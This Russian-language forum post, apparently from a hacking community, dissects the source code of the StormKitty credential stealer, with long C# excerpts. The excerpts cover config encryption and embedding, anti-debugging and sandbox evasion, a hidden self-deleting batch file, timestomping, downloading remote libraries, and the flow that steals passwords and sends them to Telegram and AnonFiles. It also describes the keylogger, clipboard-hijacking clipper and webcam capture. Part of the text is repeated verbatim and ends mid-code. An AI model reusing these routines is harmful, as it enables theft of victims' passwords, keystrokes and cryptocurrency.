Copmba
Девочка в теле парня
- Сообщения
- 1.717
- Реакции
- 1.313
В таких публикациях мы будем рассматривать под микроскопом исходные коды (открытые, утёкшие, декомпилированные, до каких дойдут руки) или же дизассемблерные листинги так или иначе известной в наших узких кругах малварки. Мы будем всматриваться в общую архитектуру проекта малварки, отдельные её модули и алгоритмы, вплоть до фрагментов кода.
Периодически в нашем уютненьком комьюнити в хорошем или же плохом ключе упоминается «Штормовой Котёнок» (он же «StormKitty»). То его какой-то горе программер или барыга соберёт под новым именем и продаёт за целое состояние. Это все сопровождается некоторым количеством срача на форуме, обсуждения смыслов кулхацкерских жизней, старпёрского брюзжания о том, что раньше было лучше и так далее. Поэтому эту нашу серию статей я решил начать именно со «Штормового Котёночка». Тем более, что написан он на языке C#, что должно немного упрощать понимание исходного кода неофитами (когда не нужно особо отвлекаться на управление памятью и дескрипторами, как в С++ например, в С# за нас это делает сборщик мусора).
Давайте начнём с того, что такое этот «Штормовой Котёнок». Это — классический стилер (stealer) с открытыми исходными кодами, размещённый на Github под чуть ли ни самой либеральной лицензией — «MIT» (хотя кого тут в принципе волнуют оупенсорсные лицензии, правда же). Сейчас автор перевёл его в архив, то есть скорее всего дальше проект не будет развиваться. Функционал проекта в общем то, как у самого обычного стилера, работает с браузерами на базе Chromium, с Firefox, с «Ослом» (Internet Explorer) и Edge, собирает файлы определённых расширений, файлы сессий нескольких разных программ, аккаунты из Outlook и Pidgin, может обеспечивать себе автозапуск самым примитивным способом, должен отсылать логи на онлайн хостинг AnonFiles и в Телеграм, ну и так далее и тому подобное. Скачать весь проект все ещё можно отсюда:
Прежде чем, мы перейдём к обсуждению непосредственно кода проекта, нужно сделать небольшое лирическое отступление о наличии малвари в репозитории. Дело в том, что в папке с проектом лежит бинарная зависимость в виде файла «AnonFileApi.dll». Автор три раза менял эту библиотеку, но хитрый Github всё помнит, так что при желании можно достать любую из трёх версий. Вложенная в эту бинарную зависимость малварь особого интереса не представляет, но в качестве упражнения вы можете её потыкать. Интересно другое: выложить на Github исходники какой-то малвари для образовательных целей формально нарушением закона не является.
Теперь давайте переходить к архитектуре проекта. Весь проект разбит на два подпроекта: «builder» (программа сборщик для стилера, подготавливающий его к непосредственному использованию) и «stub» (собственно сам стилер, который будет запускаться на компьютере жертвы, доставать ценную информацию и отправлять её в Телеграм и отправлять на хостинг файлов AnonFiles). Для начала давайте рассмотрим проект «builder», чтобы понимать процесс создания исполняемого файла стаба, до того, как переходить собственно к коду стаба.
Сборщик представляет собой обычное консольное приложение, которое вшивает в стаб конфигурационные параметры, такие как идентификаторы Телеграмма, адреса кошельков для клипера, должен ли стаб прописывать себя в автозапуск или нет и другие, а так же обфусцирует стаб. Касательно конфигурации Телеграм сборщик проверит доступность API с указанными параметрами, что на самом деле кажется приятным проявлением заботы автора о своих пользователях (мол, если скрипткидис накосячил с идентификаторами API, он узнает об этом на этапе сборки проекта, а не далеко позже).
Непосредственно процесс вшивания конфигурационных данных описан в файле «build.cs», глобальная переменная «ConfigValues» получает значения, которые пользователь ввёл в консоль. Обратите внимание на один забавный факт: в качестве имени мьютекса для стаба используется MD5-хеш от имени пользователя и имени компьютера, где производилась сборка. Не то чтобы кому-то в целом мире понадобилось бы брутить этот хеш, чтобы узнать исходные значения имён компьютера и пользователя, но зачем это нужно было делать именно так — совсем непонятно. Вполне можно было бы просто сделать вызов метода «Guid.NewGuid» или взять хеш от каких-то менее значимых параметров системы.
C#:Скопировать в буфер обмена
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Telegram API", "" },
{ "Telegram ID", "" },
{ "AntiAnalysis", "" },
{ "Startup", "" },
{ "Grabber", "" },
{ "Debug", "" },
{ "StartDelay", "" },
{ "ClipperBTC", "" },
{ "ClipperETH", "" },
{ "ClipperXMR", "" },
{ "ClipperXRP", "" },
{ "ClipperLTC", "" },
{ "ClipperBCH", "" },
{ "WebcamScreenshot", "" },
{ "Keylogger", "" },
{ "Clipper", "" },
{ "Mutex", crypt.CreateMD5($"{Environment.UserName}@{Environment.MachineName}") },
};
Некоторые конфигурационные строки зашифровываются с помощью AES и строго фиксированных значений соли и пароля. Ключи можно было бы генерировать на этапе сборки и аналогично строкам вшивать их в стаб. Хотя использование «Rfc2898DeriveBytes» немного улыбнуло, этот класс получает ключи из пароля и соли с помощью генератора псевдослучайных чисел из HMACSHA1, что по идее было бы хорошо, если пароль или хотя бы соль менялись бы от сборке к сборке. Реализацию этого шифрования можно найти в файле «crypt.cs». Странным решением является конвертация шифр-данных в BASE64 строки и добавление к этому всему префикса «CRYPTED:». Таким образом автору не приходится менять тип данных, когда он вшивает зашифрованные данные в стаб (строки заменяет строками), но выглядит это костылём, можно было бы придумать чего получше.
C#:Скопировать в буфер обмена
public static string EncryptConfig(string value)
{
byte[] encryptedBytes = null;
byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(value);
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return "CRYPTED:" + Convert.ToBase64String(encryptedBytes);
}
Далее конфигурационные параметры вшиваются в стаб с помощью библиотеки «Mono.Cecil». Эта библиотека позволяет разбирать и модифицировать форматы структур .NET сборок и байт-кода (хотя на мой вкус библиотека «dnlib» куда проще и приятнее в программировании подобных вещей). Формально данный код просто проходит все методы всех классов во всех модулях стаба, находит в них инструкции дотнетовского байт-кода «LDSTR» (загрузка константной строки на стек) и заменяет операнд на строку из конфигурации в том случае, если исходная строка операнд начинается с «---». С точки зрения архитектуры стаба это решение кажется избыточным, наверное имело бы смысл держать всю конфигурацию для стаба в одном классе и проходить только по его методам, а не по всей дотнетовской сборке (конечно же Assembly имеется ввиду).
C#:Скопировать в буфер обмена
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
После зашивания конфигурационных значений в байт-код стаба, сам стаб отправляется на обфускацию с помощью изъезженного вдоль и поперек разными малварищиками бесплатного обфускатора с открытыми исходными кодами — «ConfuserEx» (одна птичка мне напела, что изъезженного до такой степени, что Антивирус Касперского в принципе считает .NET исполняемые файлы, накрытые «ConfuserEx», как подозрительные). Было бы конечно получше, если бы автор «Штормового Котёнка» удосужился перенаправить вывод от процесса «ConfuserEx» в своё консольное окно (ну чтобы понимать, что конкретно пошло не так, если обфускация провалилась), но имеем то, что имеем (реализация находится в файле «obfuscation.cs» и особого интереса не представляет). Кроме того сборщик может добавить иконку обфусцированному исполняемому файлу, если это нужно (реализовано в файле «icon.cs»). Для добавления иконки используются WinAPI функции для работы с ресурсами PE-файлов, который можно найти в официальных мануалах от «мелкомягких» (Microsoft же, ага, MSDN там всякий). На этом предлагаю закончить копаться в сборщике стаба и перейти к самому интересному — коду самого стаба.
С точки зрения архитектуры проекта стаб представляет собой главный файл «program.cs» и набор модулей, более менее нормально сгруппированных по папкам и подпапкам. Давайте начнём рассматривать стаб с точки входа (статическая функция «Main» класса «Program»), чтобы в последствии было проще понять, как отдельные модули взаимодействуют друг с другом (по сути дела никак, но всё же). Не переживайте мы рассмотрим некоторые интересные модули отдельно чуть попозже.
В самом начале функции Main написана небольшая дотнетовская магия, которую автор проекта любезно отделил для нас комментарием «SSL сучка». Это указание некоторых параметров класса помогающего дотнету осуществлять HTTPS запросы с использованием SSL/TLS. Об этих параметрах можно прочитать на MSDN, но отдельно я хотел бы остановиться на магическом числе 3072 и почему оно такое, какое оно есть. Сам проект стаба собирается под дотнет версии 4.0, который (страшно подумать) был выпущен в бородатом 2010ом году. Так вот в этом бородатом 2010ом году в дотнете, да и в операционных системах семейства Windows, никто ещё и не думал использовать TLS версии 1.2 (хотя эта версия протокола вышла чуть раньше — в 2008ом году, поправьте, если я ошибся в датах того времени, когда динозавры были большими). Поэтому в перечислении «SecurityProtocolType» в дотнет фреймворке 4.0 нет соответствующего TLS 1.2 значения (оно появится только в дотнет фреймворке 4.5, если мне не изменяет память). Численное значение этого сравнительно нового значения перечисления — 3072, то есть автор кода устанавливает это значение в надежде, что стаб все же окажется на современной системе с установленным фреймворков 4.5 или с установленной на уровне системы поддержкой TLS 1.2. Честно говоря, я не в курсе, будет ли выброшено исключение, если такой поддержки нет, или просто будет использован протокол по умолчанию, напишите в комментариях, если знаете точно.
C#:Скопировать в буфер обмена
// SSL сучка
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.DefaultConnectionLimit = 9999;
Далее по коду происходит классическая для малвари защита от повторного запуска, опытным программистам и реверсерам тут должно быть всё понятно, но для неофитов можно немного пояснить. Смысл в том, что создаётся глобальный именованный мьютекс (примитив операционной системы для синхронизации процессов). Конструктор мьютекса в дотнете возвращает информацию о том, был ли мьютекс создан или уже существовал до этого и был открыт. Соответственно, если стаб был запущен несколько раз, то первый его процесс создаст мьютекс и будет работать, а глобальный именованный мьютекс будет существовать до завершения этого процесса. А все последующие процессы «увидят», что мьютекс уже существуют и выйдут. Понятно, что наличие дополнительного глобального именованного мьютекса в системе может выдавать запущенную на системе малварь (если знать, какое имя мьютекса соответствует малвари), но данный стилер и так в отдельном процессе запускается, так что не суть важно.
C#:Скопировать в буфер обмена
internal sealed class MutexControl
{
// Prevent the program from running twice
public static void Check()
{
bool createdNew = false;
Mutex currentApp = new Mutex(false, Config.Mutex, out createdNew);
if (!createdNew)
Environment.Exit(1);
}
}
Затем стаб проверяет, лежит ли исполняемый файл в специальной скрытой самом банальным способом директории, предварительно создав её, если эта директория отсутствовала. Если же исполняемый файл стаба лежит вне этой директории, то файл скрывается аналогичным образом, а именно с помощью выставления аттрибута «hidden» для файла (реализовано в классе «Implant.Startup»). Конечно, ни о каких хитровыдуманных способах сокрытия файла речи тут не идёт, а делать это именно таким образом в 2020 году нужно разве что для галочки и одного дополнительного пункта в списке фич стилера в теме о его продаже, ну вы понимаете. Да и ходят слухи, что некоторые антивирусы находят подозрительным то поведение, в ходе которого исполняемый файл сам себе проставляет аттрибут «hidden», что ну совсем ни разу не удивительно. Ну что уж теперь, едем дальше.
C#:Скопировать в буфер обмена
// Change file creation date
public static void SetFileCreationDate(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("SetFileCreationDate : Changing file " + filename + " creation data");
DateTime time = new DateTime(
DateTime.Now.Year - 2, 5, 22, 3, 16, 28);
File.SetCreationTime(filename, time);
File.SetLastWriteTime(filename, time);
File.SetLastAccessTime(filename, time);
}
// Hide executable
public static void HideFile(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("HideFile : Adding 'hidden' attribute to file " + filename);
new FileInfo(filename).Attributes |= FileAttributes.Hidden;
}
После этого стаб проверяет, прописаны ли в его конфигурации параметры для API Телеграмма. В случае их отсутствия происходит самоудаление. Само собой, разве может быть иначе, самоудаление реализовано по классической для малвари костыльной схеме — через создание и запуск батника. Я очень не люблю этот способ, но почему то вижу его просто повсеместно в любой малварке. Но все же сравнительно приятным бонусом этого кода является вызов «chcp 65001» в начале батника (установка кодировки в UTF-8). Это сделано потому, что пути к файлам могут содержать локализованные символы (кириллицу там, например), а метод «File.AppendText» открывает файл на запись текста в кодировке именно UTF-8. Многие авторы малвари об этом не задумываются, а тут наш Владимир из Украины показал, что умеет обращать внимание на детали (жаль, что это происходит далеко не всегда).
C#:Скопировать в буфер обмена
public static void Melt()
{
// Paths
string batch = Path.GetTempFileName() + ".bat";
string path = System.Reflection.Assembly.GetExecutingAssembly().Location;
string dll1 = Path.Combine(Path.GetDirectoryName(path), "DotNetZip.dll");
string dll2 = Path.Combine(Path.GetDirectoryName(path), "AnonFileApi.dll");
int currentPid = Process.GetCurrentProcess().Id;
// Write batch
using (StreamWriter sw = File.AppendText(batch))
{
sw.WriteLine("chcp 65001");
sw.WriteLine("TaskKill /F /IM " + currentPid);
sw.WriteLine("Timeout /T 2 /Nobreak");
sw.WriteLine($"Del /ah \"{path}\" & Del /ah \"{dll1}\" & Del /ah \"{dll2}\"");
}
// Log
Logging.Log("SelfDestruct : Running self destruct procedure...");
// Start
Process.Start(new ProcessStartInfo()
{
FileName = "cmd.exe",
Arguments = "/C " + batch,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
// Wait for exit
System.Threading.Thread.Sleep(5000);
System.Environment.FailFast(null);
}
Далее в зависимости от конфигурации стаб делает или не делает рандомную паузу (от нуля до десяти секунд). Назначение этого кода не особо понятна в глобальном плане, напишите в комментарии ваши идеи по этому поводу. Реализация самой паузы хранится в классе «Implant.StartDelay».
C#:Скопировать в буфер обмена
internal sealed class StartDelay
{
// Sleep min, sleep max
private static readonly int SleepMin = 0;
private static readonly int SleepMax = 10;
// Sleep
public static void Run()
{
int SleepTime = new Random().Next(
SleepMin * 1000,
SleepMax * 1000
);
Logging.Log("StartDelay : Sleeping " + SleepTime);
System.Threading.Thread.Sleep(SleepTime);
}
}
Затем стаб применяет набор методов для противодействия анализу, в том случае, если факт анализа будет установлен стабом, он выведет подложное (от слова «ложь» а не от слова «ложить») сообщение об ошибке и вызовет код для самоудаления, который мы рассмотрели ранее. Набор методов противодействия анализу довольно стандартный и опять же сделан в основном для галочки. Есть поиск подключённого к процессу стаба отладчика с помощью функции «CheckRemoteDebuggerPresent» (это довольно легко обходится, в отладчике dnSpy есть соответствующий код). Есть попытка определить исполнение внутри эмулятора за счёт функции «Sleep». Смысл этого метода в том, что подавляющее большинство эмуляторов пропускают все вызовы «Sleep», и типа внутреннее значение времени внутри эмулятора при этом не изменяется, поэтому можно проспать 10 миллисекунд и проверить, действительно ли прошло минимум 10 миллисекунд. Эта методика возможно и работала N-лет назад, когда эмуляторы были тупыми и не учитывали «Sleep» в своих внутренних часах, но в 2020 году это вряд ли как-то поможет, скорее может быть сигнатурой для антивируса. Так же есть проверка HTTP-запросом (для определения запуска на VirusTotal, AnyRun и так далее), проверка на наличие внутри процесса стаба динамических библиотек различных сэндбоксов, проверка на наличие некоторых запущенных процессов для динамического анализа малвари и проверка на запуск внутри виртуальной инфраструктуры. Для более менее опытного реверсера все эти проверки особых проблем не должны вызывать, а вот антивирусы с другой стороны могут отнестись к ним неравнодушно.
C#:Скопировать в буфер обмена
internal sealed class AntiAnalysis
{
// CheckRemoteDebuggerPresent (Detect debugger)
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
// GetModuleHandle (Detect SandBox)
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Returns true if the file is running in debugger; otherwise returns false
/// </summary>
public static bool Debugger()
{
bool isDebuggerPresent = false;
try
{
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
} catch { }
return isDebuggerPresent;
}
/// <summary>
/// Returns true if the file is running in emulator; otherwise returns false
/// </summary>
public static bool Emulator()
{
try
{
long ticks = DateTime.Now.Ticks;
System.Threading.Thread.Sleep(10);
if (DateTime.Now.Ticks - ticks < 10L)
return true;
}
catch { }
return false;
}
/// <summary>
/// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false
/// </summary>
public static bool Hosting()
{
try
{
string status = new System.Net.WebClient()
.DownloadString(
StringsCrypt.Decrypt(new byte[] { 150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89, 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26, 106, 93, }));
return status.Contains("true");
} catch { }
return false;
}
/// <summary>
/// Returns true if a process is started from the list; otherwise, returns false
/// </summary>
public static bool Processes()
{
Process[] running_process_list = Process.GetProcesses();
string[] selected_process_list = new string[] {
"processhacker",
"netstat", "netmon", "tcpview", "wireshark",
"filemon", "regmon", "cain"
};
foreach (Process process in running_process_list)
if (selected_process_list.Contains(process.ProcessName.ToLower()))
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in sandbox; otherwise returns false
/// </summary>
public static bool SandBox()
{
string[] dlls = new string[5]
{
"SbieDll",
"SxIn",
"Sf2",
"snxhk",
"cmdvrt32"
};
foreach (string dll in dlls)
if (GetModuleHandle(dll + ".dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in VirtualBox or VmWare; otherwise returns false
/// </summary>
public static bool VirtualBox()
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
try
{
using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get())
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
if ((managementBaseObject["Manufacturer"].ToString().ToLower() == "microsoft corporation" &&
managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) ||
managementBaseObject["Manufacturer"].ToString().ToLower().Contains("vmware") ||
managementBaseObject["Model"].ToString() == "VirtualBox")
return true;
}
catch { }
foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get())
if (managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VMware")
&& managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VBox"))
return true;
return false;
}
/// <summary>
/// Detect virtual enviroment
/// </summary>
public static bool Run()
{
if (Config.AntiAnalysis == "1")
{
if (Hosting()) Logging.Log("AntiAnalysis : Hosting detected!", true);
if (Processes()) Logging.Log("AntiAnalysis : Process detected!", true);
if (VirtualBox()) Logging.Log("AntiAnalysis : Virtual machine detected!", true);
if (SandBox()) Logging.Log("AntiAnalysis : SandBox detected!", true);
//if (Emulator()) Logging.Log("AntiAnalysis : Emulator detected!", true);
if (Debugger()) Logging.Log("AntiAnalysis : Debugger detected!", true);
}
return false;
}
/// <summary>
/// Run fake error message and self destruct
/// </summary>
public static void FakeErrorMessage()
{
string code = StringsCrypt.GenerateRandomData("1");
code = "0x" + code.Substring(0, 5);
Logging.Log("Sending fake error message box with code: " + code);
MessageBox.Show("Exit code " + code, "Runtime error",
MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);
SelfDestruct.Melt();
}
}
После этого стаб по какой-то причине устанавливает в текущую рабочую директорию значение своей рабочей папки (она была описана ранее). Это подозрительно попахивает говнокодом, так как в принципе в сфере разработки любого программного обеспечения работа по относительным путям является табу (ну или «строгим запретом». Это важный совет, который стоит уяснить неофитам: всегда работайте по абсолютным путям к файлам и каталогам.
C#:Скопировать в буфер обмена
// Change working directory to appdata
System.IO.Directory.SetCurrentDirectory(Paths.InitWorkDir());
Далее стаб выкачивает прямиком из Github аккаунта нашего Владимира из Украины две библиотеки: «DotNetZip» и «AnonFileApi» (ту самую со вложенной малварью мистера кулхацкера Владимира). Стаб на всякий случай пытается выкачать эти библиотеки по три раза, и в случае успеха проставляет этим библиотекам файловый аттрибут «hidden» и изменяет дату создания файла. Этот код конечно очень некрасиво написан (использование while вместо совершенно уместного в этом случае цикла for, проверка на существование файла аж четыре раза и так далее), вызывает некоторое кровотечение из глаз.
C#:Скопировать в буфер обмена
public static bool LoadRemoteLibrary(string library)
{
int i = 0;
string dll = Path.Combine(Path.GetDirectoryName(Startup.ExecutablePath), Path.GetFileName(new Uri(library).LocalPath));
while (i < 3)
{
i++;
if (!File.Exists(dll))
{
try
{
using (var client = new WebClient())
client.DownloadFile(library, dll);
}
catch (WebException)
{
Logging.Log("LibLoader: Failed to download library " + dll);
System.Threading.Thread.Sleep(2000);
continue;
}
Startup.HideFile(dll);
Startup.SetFileCreationDate(dll);
}
}
return File.Exists(dll);
}
Затем стаб дешифрует конфигурационные значения, которые были зашифрованы сборщиком (алгоритм шифрования был уже описан ранее), и проверяет валидность API токена Телеграмма. В случае, если токен не валиден, происходит самоудаление. Ну и после всех этих приготовлений происходит непосредственный сбор паролей и другой полезной информации, упаковка их в ZIP-архив, залив ZIP-архива на сервис AnonFiles и отправка ссылки для скачивания залитого файла в Телеграмм. Кроме того в след за ссылкой стаб должен отправить информацию о компьютере, с которого был собран только что высланный ZIP-архив. Сами алгоритмы всего этого особого интереса не представляют, да и описывать каждый из них очень долго. Отмечу только, что реализация этого всего находится в классах «Report.Telegram», «Filemanager» и «SystemInfo». Ну а некоторые алгоритмы сбора паролей и другой ценной информации мы рассмотрим отдельно (это же самое интересное в стилерах, да?).
C#:Скопировать в буфер обмена
// Decrypt config strings
Config.Init();
// Test telegram API token
if (!Telegram.Report.TokenIsValid())
Implant.SelfDestruct.Melt();
// Steal passwords
string passwords = Passwords.Save();
// Compress directory
string archive = Filemanager.CreateArchive(passwords);
// Send archive
Telegram.Report.SendReport(archive);
После выполнения основного функционала на предыдущем шаге у стаба есть два варианта развития событий: либо завершить исполнение и самоудалиться, либо (если включены клипер и/или кейлоггер) продолжить работу, запустив эти компоненты в отдельных потоках (опять же, если при сборке стаба в конфигурации они были включены). Основной поток же простаивает в ожидании завершения потоков клипера и кейлоггера.
C#:Скопировать в буфер обмена
// Run keylogger module
if (Config.KeyloggerModule == "1" && (Counter.BankingServices || Counter.Telegram) && Config.Autorun == "1")
{
Logging.Log("Starting keylogger modules...");
W_Thread = WindowManager.MainThread;
W_Thread.SetApartmentState(ApartmentState.STA);
W_Thread.Start();
}
// Run clipper module
if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")
{
Logging.Log("Starting clipper modules...");
C_Thread = ClipboardManager.MainThread;
C_Thread.SetApartmentState(ApartmentState.STA);
C_Thread.Start();
}
// Wait threads
if (W_Thread != null) if (W_Thread.IsAlive) W_Thread.Join();
if (W_Thread != null) if (C_Thread.IsAlive) C_Thread.Join();
Архитектурно клипер сделан довольно нелепо по моему мнению, он разбит на несколько модулей, при каждом получении и установки значения буфера обмена почему-то создаётся отдельный поток, при этом можно было бы все делать в одном основном потоке. Для подмены содержимого буфера обмена используется поиск по регулярным выражениям, кроме того оригинальное содержимое буфера обмена логируется в файл. Проверка того, что в буфере обмена появилась новая строка, происходит раз в две секунды. Мне кажется, что все уже давно должны были научиться проверять идентификаторы своих криптовалютных кошельков, когда куда их копируют и вставляют. Клипер реализован несколькими классами из папки «Clipper» и главным управляющим классом «ClipboardManager».
Кейлоггер синхронный и реализован по классической для малвари схеме с использованием функции «SetWindowsHookEx». Для неофитов можно пояснить, что эта функция (когда вызвана с параметром WH_KEYBOARD_LL) устанавливает обработчик на системные события, связанные с клавиатурой, в частности нажатие клавиш. В принципе подобный код можно увидеть в абсолютно любом другом кейлоггере, да и придумывать здесь что-то новое вряд ли необходимо. Для получения конкретного символа из scan кода и virtual key кода используется функция «ToUnicodeEx», при том учитывается текущая раскладка, полученная с помощью функции «GetKeyboardLayout». Такой кейлоггер не сможет определить ввод некоторых хитрых символов (например, немецкого языка, которые требуют последовательного нажатия двух разных клавиш), но в принципе должен выполнять свою функцию исправно. Забавной фичей модуля кейлоггера является поиск открытых вкладок браузера с порно сайтами. Если открыт такой сайт модуль кейлоггера пытается сделать скриншот экрана и снимок веб-камерой. Сразу вспоминаются те самые письма с угрозами об этом, которые массово рассылали по почте всем подряд некоторое время назад. Наличие этого функционала именно в модуле кейлоггера кажется таким бредом, но имеем то, что имеем. Снимок экрана реализован с помощью .NET классов, а снимок веб-камерой — с помощью функций из системной библиотеки «avicap32.dll». Почти уверен, что примерно похожий код вы найдёте по первой ссылке на StackOverflow в поисковых запросах «.net screenshot example» и «.net webcamshot example», или что-то в этом духе. Кейлоггер реализован несколькими классами из папки «Keylogger» и классом «WindowManager», и да, это тоже кажется очень избыточным с точки зрения архитектуры проекта.
Периодически в нашем уютненьком комьюнити в хорошем или же плохом ключе упоминается «Штормовой Котёнок» (он же «StormKitty»). То его какой-то горе программер или барыга соберёт под новым именем и продаёт за целое состояние. Это все сопровождается некоторым количеством срача на форуме, обсуждения смыслов кулхацкерских жизней, старпёрского брюзжания о том, что раньше было лучше и так далее. Поэтому эту нашу серию статей я решил начать именно со «Штормового Котёночка». Тем более, что написан он на языке C#, что должно немного упрощать понимание исходного кода неофитами (когда не нужно особо отвлекаться на управление памятью и дескрипторами, как в С++ например, в С# за нас это делает сборщик мусора).
Давайте начнём с того, что такое этот «Штормовой Котёнок». Это — классический стилер (stealer) с открытыми исходными кодами, размещённый на Github под чуть ли ни самой либеральной лицензией — «MIT» (хотя кого тут в принципе волнуют оупенсорсные лицензии, правда же). Сейчас автор перевёл его в архив, то есть скорее всего дальше проект не будет развиваться. Функционал проекта в общем то, как у самого обычного стилера, работает с браузерами на базе Chromium, с Firefox, с «Ослом» (Internet Explorer) и Edge, собирает файлы определённых расширений, файлы сессий нескольких разных программ, аккаунты из Outlook и Pidgin, может обеспечивать себе автозапуск самым примитивным способом, должен отсылать логи на онлайн хостинг AnonFiles и в Телеграм, ну и так далее и тому подобное. Скачать весь проект все ещё можно отсюда:
Пожалуйста Войдите или Зарегистрируйтесь чтобы видеть скрытые ссылки.
Скачайте исходники и разархивируйте их, чтобы параллельно с чтением статьи вы могли бы смотреть исходный код, так будет понятнее скорее всего.Прежде чем, мы перейдём к обсуждению непосредственно кода проекта, нужно сделать небольшое лирическое отступление о наличии малвари в репозитории. Дело в том, что в папке с проектом лежит бинарная зависимость в виде файла «AnonFileApi.dll». Автор три раза менял эту библиотеку, но хитрый Github всё помнит, так что при желании можно достать любую из трёх версий. Вложенная в эту бинарную зависимость малварь особого интереса не представляет, но в качестве упражнения вы можете её потыкать. Интересно другое: выложить на Github исходники какой-то малвари для образовательных целей формально нарушением закона не является.
Теперь давайте переходить к архитектуре проекта. Весь проект разбит на два подпроекта: «builder» (программа сборщик для стилера, подготавливающий его к непосредственному использованию) и «stub» (собственно сам стилер, который будет запускаться на компьютере жертвы, доставать ценную информацию и отправлять её в Телеграм и отправлять на хостинг файлов AnonFiles). Для начала давайте рассмотрим проект «builder», чтобы понимать процесс создания исполняемого файла стаба, до того, как переходить собственно к коду стаба.
Сборщик представляет собой обычное консольное приложение, которое вшивает в стаб конфигурационные параметры, такие как идентификаторы Телеграмма, адреса кошельков для клипера, должен ли стаб прописывать себя в автозапуск или нет и другие, а так же обфусцирует стаб. Касательно конфигурации Телеграм сборщик проверит доступность API с указанными параметрами, что на самом деле кажется приятным проявлением заботы автора о своих пользователях (мол, если скрипткидис накосячил с идентификаторами API, он узнает об этом на этапе сборки проекта, а не далеко позже).
Непосредственно процесс вшивания конфигурационных данных описан в файле «build.cs», глобальная переменная «ConfigValues» получает значения, которые пользователь ввёл в консоль. Обратите внимание на один забавный факт: в качестве имени мьютекса для стаба используется MD5-хеш от имени пользователя и имени компьютера, где производилась сборка. Не то чтобы кому-то в целом мире понадобилось бы брутить этот хеш, чтобы узнать исходные значения имён компьютера и пользователя, но зачем это нужно было делать именно так — совсем непонятно. Вполне можно было бы просто сделать вызов метода «Guid.NewGuid» или взять хеш от каких-то менее значимых параметров системы.
C#:Скопировать в буфер обмена
public static Dictionary<string, string> ConfigValues = new Dictionary<string, string>
{
{ "Telegram API", "" },
{ "Telegram ID", "" },
{ "AntiAnalysis", "" },
{ "Startup", "" },
{ "Grabber", "" },
{ "Debug", "" },
{ "StartDelay", "" },
{ "ClipperBTC", "" },
{ "ClipperETH", "" },
{ "ClipperXMR", "" },
{ "ClipperXRP", "" },
{ "ClipperLTC", "" },
{ "ClipperBCH", "" },
{ "WebcamScreenshot", "" },
{ "Keylogger", "" },
{ "Clipper", "" },
{ "Mutex", crypt.CreateMD5($"{Environment.UserName}@{Environment.MachineName}") },
};
Некоторые конфигурационные строки зашифровываются с помощью AES и строго фиксированных значений соли и пароля. Ключи можно было бы генерировать на этапе сборки и аналогично строкам вшивать их в стаб. Хотя использование «Rfc2898DeriveBytes» немного улыбнуло, этот класс получает ключи из пароля и соли с помощью генератора псевдослучайных чисел из HMACSHA1, что по идее было бы хорошо, если пароль или хотя бы соль менялись бы от сборке к сборке. Реализацию этого шифрования можно найти в файле «crypt.cs». Странным решением является конвертация шифр-данных в BASE64 строки и добавление к этому всему префикса «CRYPTED:». Таким образом автору не приходится менять тип данных, когда он вшивает зашифрованные данные в стаб (строки заменяет строками), но выглядит это костылём, можно было бы придумать чего получше.
C#:Скопировать в буфер обмена
public static string EncryptConfig(string value)
{
byte[] encryptedBytes = null;
byte[] bytesToBeEncrypted = Encoding.UTF8.GetBytes(value);
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(cryptKey, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
